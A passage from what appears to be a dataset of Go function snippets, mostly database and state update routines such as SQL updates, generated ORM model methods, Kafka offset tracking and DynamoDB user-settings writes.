bail\n\tif sp._deleted {\n\t\treturn errors.New(\"update failed: marked for deletion\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetSalePermissionTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql query\n\tsqlstr := `UPDATE ` + tableName + ` SET ` +\n\t\t`desc = ?, action_class = ?` +\n\t\t` WHERE spid = ?`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, sp.Desc, sp.ActionClass, sp.Spid)))\n\tif tx != nil {\n\t\t_, err = tx.Exec(sqlstr, sp.Desc, sp.ActionClass, sp.Spid)\n\t} else {\n\t\t_, err = dbConn.Exec(sqlstr, sp.Desc, sp.ActionClass, sp.Spid)\n\t}\n\treturn err\n}", "func (SourceChangePredicate) Update(e event.UpdateEvent) bool {\n\tif e.MetaOld == nil || e.MetaNew == nil {\n\t\t// ignore objects without metadata\n\t\treturn false\n\t}\n\tif e.MetaNew.GetGeneration() != e.MetaOld.GetGeneration() {\n\t\t// reconcile on spec changes\n\t\treturn true\n\t}\n\n\t// handle force sync\n\tif val, ok := e.MetaNew.GetAnnotations()[sourcev1.SyncAtAnnotation]; ok {\n\t\tif valOld, okOld := e.MetaOld.GetAnnotations()[sourcev1.SyncAtAnnotation]; okOld {\n\t\t\tif val != valOld {\n\t\t\t\treturn true\n\t\t\t}\n\t\t} else {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func (ot *T) updateAckedRanges(offset int64) bool {\n\tackedRangesCount := len(ot.ackedRanges)\n\tif offset < ot.offset.Val {\n\t\treturn false\n\t}\n\tif offset == ot.offset.Val {\n\t\tif ackedRangesCount > 0 && offset == ot.ackedRanges[0].from-1 {\n\t\t\tot.offset.Val = ot.ackedRanges[0].to\n\t\t\tot.ackedRanges = ot.ackedRanges[1:]\n\t\t\treturn true\n\t\t}\n\t\tot.offset.Val += 1\n\t\treturn true\n\t}\n\tfor i := range ot.ackedRanges {\n\t\tif offset < ot.ackedRanges[i].from {\n\t\t\tif offset == ot.ackedRanges[i].from-1 {\n\t\t\t\tot.ackedRanges[i].from -= 1\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tot.ackedRanges = append(ot.ackedRanges, offsetRange{})\n\t\t\tcopy(ot.ackedRanges[i+1:], ot.ackedRanges[i:ackedRangesCount])\n\t\t\tot.ackedRanges[i] = newOffsetRange(offset)\n\t\t\treturn true\n\t\t}\n\t\tif offset < ot.ackedRanges[i].to {\n\t\t\treturn false\n\t\t}\n\t\tif offset == ot.ackedRanges[i].to {\n\t\t\tif ackedRangesCount > i+1 && offset == ot.ackedRanges[i+1].from-1 {\n\t\t\t\tot.ackedRanges[i+1].from = ot.ackedRanges[i].from\n\t\t\t\tackedRangesCount -= 1\n\t\t\t\tcopy(ot.ackedRanges[i:ackedRangesCount], ot.ackedRanges[i+1:])\n\t\t\t\tot.ackedRanges = ot.ackedRanges[:ackedRangesCount]\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tot.ackedRanges[i].to += 1\n\t\t\treturn true\n\t\t}\n\t}\n\tot.ackedRanges = append(ot.ackedRanges, newOffsetRange(offset))\n\treturn true\n}", "func UpMK(nim string, ArrMhs *mhsw) {\r\n\r\n\tvar matkul string\r\n\tvar clo1, clo2, clo3 float64\r\n\r\n\ti := 0\r\n\tfor i < JumMhs && ArrMhs[i].nim != nim { // mencari NIM yang cocok\r\n\r\n\t\ti++\r\n\t}\r\n\r\n\tfmt.Println()\r\n\r\n\tif ArrMhs[i].nim == nim { // Jika nim sudah cocok\r\n\r\n\t\tfmt.Println(\"Data sebelumnya adalah: \") // menampilkan terlebih dahulu data sebelum akan di update\r\n\t\tfmt.Println(\"Nama: \", ArrMhs[i].nama)\r\n\t\tfmt.Println(\"NIM: \", ArrMhs[i].nim)\r\n\t\tfmt.Println(\"Daftar Mata Kuliah: \")\r\n\r\n\t\tfor j := 0; j < len(ArrMhs[i].mk); j++ {\r\n\r\n\t\t\tif ArrMhs[i].mk[j].nama != \"\" {\r\n\r\n\t\t\t\tfmt.Printf(\"Mata Kuliah ke %v : %v \\n\", j+1, ArrMhs[i].mk[j].nama)\r\n\t\t\t\tfmt.Printf(\"SKS : %v\", ArrMhs[i].mk[j].sks)\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfmt.Print(\"Mata Kuliah yang akan di-Update: \")\r\n\t\tfmt.Scan(&matkul)\r\n\r\n\t\tfor j := 0; j < len(ArrMhs[i].mk); j++ {\r\n\r\n\t\t\tif ArrMhs[i].mk[j].nama == matkul {\r\n\r\n\t\t\t\tfmt.Print(\"NIlai CLO 1: \")\r\n\t\t\t\tfmt.Scanln(&clo1)\r\n\t\t\t\tArrMhs[i].mk[j].clo1 = clo1\r\n\t\t\t\tfmt.Print(\"NIlai CLO 2: \")\r\n\t\t\t\tfmt.Scanln(&clo2)\r\n\t\t\t\tArrMhs[i].mk[j].clo2 = clo2\r\n\t\t\t\tfmt.Print(\"NIlai CLO 3: \")\r\n\t\t\t\tfmt.Scanln(&clo3)\r\n\t\t\t\tArrMhs[i].mk[j].clo3 = clo3\r\n\r\n\t\t\t\tArrMhs[i].mk[j].na = HitungNA(clo1, clo2, clo3)\r\n\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfmt.Println(\"DATA BERHASIL DIUPDATE!\")\r\n\r\n\t} else {\r\n\r\n\t\tfmt.Println(\"DATA TIDAK DITEMUKAN.\")\r\n\t}\r\n}", "func (u *updater) Update(ctx context.Context, at int64, payload []byte) error {\n\terr := u.Put(ctx, &index{u.next}, at, payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.next++\n\treturn nil\n}", "func (u *updater) Update(ctx context.Context, at int64, payload []byte) error {\n\terr := u.Put(ctx, &index{u.next}, at, payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.next++\n\treturn nil\n}", "func (o *WithdrawalCrypto) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\twithdrawalCryptoUpdateCacheMut.RLock()\n\tcache, cached := withdrawalCryptoUpdateCache[key]\n\twithdrawalCryptoUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\twithdrawalCryptoAllColumns,\n\t\t\twithdrawalCryptoPrimaryKeyColumns,\n\t\t)\n\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"sqlite3: unable to update withdrawal_crypto, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"withdrawal_crypto\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 0, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", 0, withdrawalCryptoPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(withdrawalCryptoType, withdrawalCryptoMapping, append(wl, withdrawalCryptoPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, cache.query)\n\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t}\n\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"sqlite3: unable to update withdrawal_crypto row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"sqlite3: failed to get rows affected by update for withdrawal_crypto\")\n\t}\n\n\tif !cached {\n\t\twithdrawalCryptoUpdateCacheMut.Lock()\n\t\twithdrawalCryptoUpdateCache[key] = cache\n\t\twithdrawalCryptoUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(ctx, exec)\n}", "func (c *Client) updateAdjustment(other *Coordinate, rttSeconds float64) {\n\tif c.config.AdjustmentWindowSize == 0 {\n\t\treturn\n\t}\n\n\t// Note that the existing adjustment factors don't figure in to this\n\t// calculation so we use the raw distance here.\n\tdist := c.coord.rawDistanceTo(other)\n\tc.adjustmentSamples[c.adjustmentIndex] = rttSeconds - dist\n\tc.adjustmentIndex = (c.adjustmentIndex + 1) % c.config.AdjustmentWindowSize\n\n\tsum := 0.0\n\tfor _, sample := range c.adjustmentSamples {\n\t\tsum += sample\n\t}\n\tc.coord.Adjustment = sum / (2.0 * float64(c.config.AdjustmentWindowSize))\n}", "func (s *Session) Update(dest interface{}) (int64, error) {\n\ts.initStatemnt()\n\ts.statement.Update()\n\tscanner, err := NewScanner(dest)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer scanner.Close()\n\tif s.statement.table == \"\" {\n\t\ts.statement.From(scanner.GetTableName())\n\t}\n\tupdateFields := make([]string, 0)\n\tpks := make([]interface{}, 0)\n\tprimaryKey := \"\"\n\tfor n, f := range scanner.Model.Fields {\n\t\tif !f.IsReadOnly && !f.IsPrimaryKey {\n\t\t\tupdateFields = append(updateFields, n)\n\t\t}\n\t\tif f.IsPrimaryKey {\n\t\t\tprimaryKey = n\n\t\t}\n\t}\n\tif primaryKey == \"\" {\n\t\treturn 0, ModelMustHavePrimaryKey\n\t}\n\ts.Columns(updateFields...)\n\tif scanner.entityPointer.Kind() == reflect.Slice {\n\t\tfor i := 0; i < scanner.entityPointer.Len(); i++ {\n\t\t\tval := make([]interface{}, 0)\n\t\t\tsub := scanner.entityPointer.Index(i)\n\t\t\tif sub.Kind() == reflect.Ptr {\n\t\t\t\tsubElem := sub.Elem()\n\t\t\t\tfor _, fn := range updateFields {\n\t\t\t\t\tf, ok := scanner.Model.Fields[fn]\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tfv := subElem.Field(f.idx)\n\t\t\t\t\tval = append(val, fv.Interface())\n\t\t\t\t}\n\t\t\t\tprimaryF, _ := scanner.Model.Fields[primaryKey]\n\t\t\t\tfv := subElem.Field(primaryF.idx)\n\t\t\t\tpks = append(pks, fv.Interface())\n\t\t\t} else {\n\t\t\t\tfor _, fn := range updateFields {\n\t\t\t\t\tf, ok := scanner.Model.Fields[fn]\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tfv := sub.Field(f.idx)\n\t\t\t\t\tval = append(val, fv.Interface())\n\t\t\t\t}\n\t\t\t\tprimaryF, _ := scanner.Model.Fields[primaryKey]\n\t\t\t\tfv := sub.Field(primaryF.idx)\n\t\t\t\tpks = append(pks, fv.Interface())\n\t\t\t}\n\t\t\ts.statement.Values(val)\n\t\t}\n\n\t} else if scanner.entityPointer.Kind() == reflect.Struct {\n\t\tval := make([]interface{}, 0)\n\t\tfor _, fn := range updateFields {\n\t\t\tf, ok := scanner.Model.Fields[fn]\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfv := scanner.entityPointer.Field(f.idx)\n\t\t\tval = append(val, fv.Interface())\n\t\t}\n\t\tprimaryF, _ := scanner.Model.Fields[primaryKey]\n\t\tfv := scanner.entityPointer.Field(primaryF.idx)\n\t\tpks = append(pks, fv.Interface())\n\t\ts.statement.Values(val)\n\t} else {\n\t\treturn 0, UpdateExpectSliceOrStruct\n\t}\n\ts.Where(Eq{scanner.Model.PkName: pks})\n\tsql, args, err := s.statement.ToSQL()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ts.logger.Debugf(\"[Session Update] sql: %s, args: %v\", sql, args)\n\ts.initCtx()\n\tsResult, err := s.ExecContext(s.ctx, sql, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn sResult.RowsAffected()\n}", "func (o *Doc) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tif !boil.TimestampsAreSkipped(ctx) {\n\t\tcurrTime := time.Now().In(boil.GetLocation())\n\n\t\tqueries.SetScanner(&o.UpdatedAt, currTime)\n\t}\n\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\tdocUpdateCacheMut.RLock()\n\tcache, cached := docUpdateCache[key]\n\tdocUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tdocAllColumns,\n\t\t\tdocPrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"models: unable to update doc, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE `doc` SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"`\", \"`\", 0, wl),\n\t\t\tstrmangle.WhereClause(\"`\", \"`\", 0, docPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(docType, docMapping, append(wl, docPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, cache.query)\n\t\tfmt.Fprintln(writer, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to update doc row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by update for doc\")\n\t}\n\n\tif !cached {\n\t\tdocUpdateCacheMut.Lock()\n\t\tdocUpdateCache[key] = cache\n\t\tdocUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(ctx, exec)\n}", "func (t kSamples) checkUpdate(d float64, row []interface{}) {\n\tindexToChange := -1\n\tvar maxDistance float64\n\tfor i, e := range t {\n\t\tif e.distance > maxDistance {\n\t\t\tmaxDistance = e.distance\n\t\t\tindexToChange = i\n\t\t}\n\t}\n\tif d < maxDistance {\n\t\tt[indexToChange].row = row\n\t\tt[indexToChange].distance = d\n\t}\n}", "func (c *kaosRules) Update(kaosRule *v1.KaosRule) (result *v1.KaosRule, err error) {\n\tresult = &v1.KaosRule{}\n\terr = c.client.Put().\n\t\tNamespace(c.ns).\n\t\tResource(\"kaosrules\").\n\t\tName(kaosRule.Name).\n\t\tBody(kaosRule).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "func (oo *OnuDeviceEntry) UpdateOnuUniTpPath(ctx context.Context, aUniID uint8, aTpID uint8, aPathString string) bool {\n\t/* within some specific InterAdapter processing request write/read access to data is ensured to be sequentially,\n\t as also the complete sequence is ensured to 'run to completion' before some new request is accepted\n\t no specific concurrency protection to SOnuPersistentData is required here\n\t*/\n\too.MutexPersOnuConfig.Lock()\n\tdefer oo.MutexPersOnuConfig.Unlock()\n\n\tfor k, v := range oo.SOnuPersistentData.PersUniConfig {\n\t\tif v.PersUniID == aUniID {\n\t\t\texistingPath, ok := oo.SOnuPersistentData.PersUniConfig[k].PersTpPathMap[aTpID]\n\t\t\tlogger.Debugw(ctx, \"PersUniConfig-entry exists\", log.Fields{\"device-id\": oo.deviceID, \"uniID\": aUniID,\n\t\t\t\t\"tpID\": aTpID, \"path\": aPathString, \"existingPath\": existingPath, \"ok\": ok})\n\t\t\tif !ok {\n\t\t\t\tlogger.Debugw(ctx, \"tp-does-not-exist\", log.Fields{\"device-id\": oo.deviceID, \"uniID\": aUniID, \"tpID\": aTpID, \"path\": aPathString})\n\t\t\t}\n\t\t\tif existingPath != aPathString {\n\t\t\t\tif aPathString == \"\" {\n\t\t\t\t\t//existing entry to be deleted\n\t\t\t\t\tlogger.Debugw(ctx, \"UniTp delete path value\", log.Fields{\"device-id\": oo.deviceID, \"uniID\": aUniID, \"path\": aPathString})\n\t\t\t\t\too.SOnuPersistentData.PersUniConfig[k].PersTpPathMap[aTpID] = \"\"\n\t\t\t\t} else {\n\t\t\t\t\t//existing entry to be modified\n\t\t\t\t\tlogger.Debugw(ctx, \"UniTp modify path value\", log.Fields{\"device-id\": oo.deviceID, \"uniID\": aUniID, \"path\": aPathString})\n\t\t\t\t\too.SOnuPersistentData.PersUniConfig[k].PersTpPathMap[aTpID] = aPathString\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t}\n\t\t\t//entry already exists\n\t\t\tif aPathString == \"\" {\n\t\t\t\t//no active TechProfile\n\t\t\t\tlogger.Debugw(ctx, \"UniTp path has already been removed - no AniSide config to be removed\", log.Fields{\n\t\t\t\t\t\"device-id\": oo.deviceID, \"uniID\": aUniID})\n\t\t\t} else {\n\t\t\t\t//the given TechProfile already exists and is assumed to be active - update devReason as if the config has been done here\n\t\t\t\t//was needed e.g. in voltha POD Tests:Validate authentication on a disabled ONU\n\t\t\t\t// (as here the TechProfile has not been removed with the disable-device before the new enable-device)\n\t\t\t\tlogger.Debugw(ctx, \"UniTp path already exists - TechProfile supposed to be active\", log.Fields{\n\t\t\t\t\t\"device-id\": oo.deviceID, \"uniID\": aUniID, \"path\": aPathString})\n\t\t\t\t//no deviceReason update (DeviceProcStatusUpdate) here to ensure 'omci_flows_pushed' state within disable/enable procedure of ATT scenario\n\t\t\t\t// (during which the flows are removed/re-assigned but the techProf is left active)\n\t\t\t\t//and as the TechProfile is regarded as active we have to verify, if some flow configuration still waits on it\n\t\t\t\t// (should not be the case, but should not harm or be more robust ...)\n\t\t\t\t// and to be sure, that for some reason the corresponding TpDelete was lost somewhere in history\n\t\t\t\t// we also reset a possibly outstanding delete request - repeated TpConfig is regarded as valid for waiting flow config\n\t\t\t\tif oo.pOnuTP != nil {\n\t\t\t\t\too.pOnuTP.SetProfileToDelete(aUniID, aTpID, false)\n\t\t\t\t}\n\t\t\t\tgo oo.baseDeviceHandler.VerifyVlanConfigRequest(ctx, aUniID, aTpID)\n\t\t\t}\n\t\t\treturn false //indicate 'no change' - nothing more to do, TechProf inter-adapter message is return with success anyway here\n\t\t}\n\t}\n\t//no entry exists for uniId\n\n\tif aPathString == \"\" {\n\t\t//delete request in non-existing state , accept as no change\n\t\tlogger.Debugw(ctx, \"UniTp path already removed\", log.Fields{\"device-id\": oo.deviceID, \"uniID\": aUniID})\n\t\treturn false\n\t}\n\t//new entry to be created\n\tlogger.Debugw(ctx, \"New UniTp path set\", log.Fields{\"device-id\": oo.deviceID, \"uniID\": aUniID, \"path\": aPathString})\n\tperSubTpPathMap := make(map[uint8]string)\n\tperSubTpPathMap[aTpID] = aPathString\n\too.SOnuPersistentData.PersUniConfig =\n\t\tappend(oo.SOnuPersistentData.PersUniConfig, uniPersConfig{PersUniID: aUniID, PersTpPathMap: perSubTpPathMap, PersFlowParams: make([]cmn.UniVlanFlowParams, 0)})\n\treturn true\n}", "func (o *AdminSearchUserV3Params) SetOffset(offset *string) {\n\to.Offset = offset\n}", "func (d *Dao) UpdateShare(c context.Context, oid, count int64) (rows int64, err error) {\n\tfid, table := hit(oid)\n\tres, err := d.db.Exec(c, fmt.Sprintf(_upsertShareSQL, table), fid, count, count)\n\tif err != nil {\n\t\tlog.Error(\"UpdateShare(%d,%d) error(%+v)\", oid, count, err)\n\t\treturn\n\t}\n\trows, err = res.RowsAffected()\n\treturn\n}", "func (q *QQwry) setOffset(offset int64) {\n\tq.Offset = offset\n}", "func updateUserSettings(userId string, mapSettings map[string]interface{}, lc *lambdacontext.LambdaContext) (bool, string) {\n\tanlogger.Debugf(lc, \"update_settings.go : start update user settings for userId [%s], settings=%v\", userId, mapSettings)\n\n\tfor key, value := range mapSettings {\n\t\tanlogger.Debugf(lc, \"update_settings.go : update key [%v], value [%v]\", key, value)\n\t\tif key == \"locale\" {\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#locale\": aws.String(commons.LocaleColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":localeV\": {\n\t\t\t\t\t\t\tS: aws.String(value.(string)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #locale = :localeV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user locale settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t} else if key == \"timeZone\" {\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#timeZone\": aws.String(commons.TimeZoneColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":timeZoneV\": {\n\t\t\t\t\t\t\tN: aws.String(fmt.Sprintf(\"%v\", value.(float64))),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #timeZone = :timeZoneV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user timeZone settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t} else if key == \"push\" {\n\t\t\t//we already checked that we can convert to bool in parse param\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#push\": aws.String(commons.PushColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":pushV\": {\n\t\t\t\t\t\t\tBOOL: aws.Bool(value.(bool)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #push = :pushV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user push settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t} else if key == \"pushNewLike\" {\n\t\t\t//we already checked that we can convert to bool in parse param\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#pushNewLike\": aws.String(commons.PushNewLikeColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":pushNewLikeV\": {\n\t\t\t\t\t\t\tBOOL: aws.Bool(value.(bool)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #pushNewLike = :pushNewLikeV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user pushNewLike settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t} else if key == \"pushNewMatch\" {\n\t\t\t//we already checked that we can convert to bool in parse param\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#pushNewMatch\": aws.String(commons.PushNewMatchColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":pushNewMatchV\": {\n\t\t\t\t\t\t\tBOOL: aws.Bool(value.(bool)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #pushNewMatch = :pushNewMatchV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user pushNewMatch settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t} else if key == \"pushNewMessage\" {\n\t\t\t//we already checked that we can convert to bool in parse param\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#pushNewMessage\": aws.String(commons.PushNewMessageColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":pushNewMessageV\": {\n\t\t\t\t\t\t\tBOOL: aws.Bool(value.(bool)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #pushNewMessage = :pushNewMessageV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user pushNewMessage settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t} else if key == \"vibration\" {\n\t\t\t//we already checked that we can convert to bool in parse param\n\t\t\tinput :=\n\t\t\t\t&dynamodb.UpdateItemInput{\n\t\t\t\t\tExpressionAttributeNames: map[string]*string{\n\t\t\t\t\t\t\"#pushVibration\": aws.String(commons.PushVibrationColumnName),\n\t\t\t\t\t},\n\t\t\t\t\tExpressionAttributeValues: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\t\":pushVibrationV\": {\n\t\t\t\t\t\t\tBOOL: aws.Bool(value.(bool)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tKey: map[string]*dynamodb.AttributeValue{\n\t\t\t\t\t\tcommons.UserIdColumnName: {\n\t\t\t\t\t\t\tS: aws.String(userId),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\n\t\t\t\t\tTableName: aws.String(userSettingsTable),\n\t\t\t\t\tUpdateExpression: aws.String(\"SET #pushVibration = :pushVibrationV\"),\n\t\t\t\t}\n\n\t\t\t_, err := awsDbClient.UpdateItem(input)\n\t\t\tif err != nil {\n\t\t\t\tanlogger.Errorf(lc, \"update_settings.go : error update user vibration settings for userId [%s], settings=%v : %v\", userId, mapSettings, err)\n\t\t\t\treturn false, commons.InternalServerError\n\t\t\t}\n\t\t}\n\t} //end for\n\n\tanlogger.Infof(lc, \"update_settings.go : successfully update user settings for userId [%s], settings=%v\", userId, mapSettings)\n\treturn true, \"\"\n}", "func (c *Consumer) CommitOffset(msg *sarama.ConsumerMessage) {\n\tc.consumer.MarkOffset(msg, \"\")\n}", "func (d *Dao) UpdatePlay(c context.Context, oid, count int64) (rows int64, err error) {\n\tfid, table := hit(oid)\n\tres, err 